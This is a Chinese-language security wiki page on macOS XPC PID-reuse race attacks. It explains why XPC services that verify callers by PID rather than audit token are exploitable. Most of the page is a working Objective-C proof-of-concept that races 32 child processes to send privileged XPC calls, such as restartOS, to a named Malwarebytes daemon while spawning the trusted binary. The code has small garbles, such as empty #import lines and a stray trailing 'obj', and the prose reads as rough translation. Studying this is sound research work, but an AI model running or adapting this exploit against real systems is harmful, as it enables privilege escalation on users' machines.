# macOS PID 重用
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## PID 重用
当 macOS 的 **XPC 服务**基于 **PID** 而不是 **审计令牌**来检查被调用的进程时,它就容易受到 PID 重用攻击。这种攻击基于一种 **竞争条件**,其中一个 **利用**将会 **滥用** 功能并在此之后执行 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** 的 **漏洞** 将会 **向 XPC 服务发送消息**。
这个函数将使得 **允许的二进制文件拥有该 PID**,但是 **恶意的 XPC 消息将在此之前被发送**。因此,如果 **XPC** 服务在执行 **`posix_spawn`** 之后使用 **PID** 来 **验证**发送者并在验证之后检查它,它将认为它来自一个 **授权的** 进程。
### 攻击示例
如果你找到了函数 **`shouldAcceptNewConnection`** 或者被它调用的函数 **调用了** **`processIdentifier`** 而没有调用 **`auditToken`**。那么很有可能它正在验证进程的 PID 而不是审计令牌。\
就像这个例子中所示(来自参考资料):
检查这个攻击示例(同样来自参考资料)以查看攻击的两个部分:
* 一个**生成多个子进程**的部分
* **每个子进程**在发送消息后立即执行 **`posix_spawn`** 来向 XPC 服务发送 **payload**。
{% hint style="danger" %}
为了使攻击生效,重要的是要导出 export OBJC\_DISABLE\_INITIALIZE\_FORK\_SAFETY=YES 或者将其放在攻击中:
```objectivec
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
```
{% endhint %}
```objectivec
// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
#import
#include
#include
#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"
// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
extern char **environ;
// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end
void child() {
// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;
[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];
char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
bool create_nstasks() {
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}
int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};
nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}
return true;
}
int main(int argc, const char * argv[]) {
if(argc > 1) {
// called from the NSTasks
child();
} else {
NSLog(@"Starting the race");
create_nstasks();
}
return 0;
}obj
```
## 参考资料
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
* [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf)
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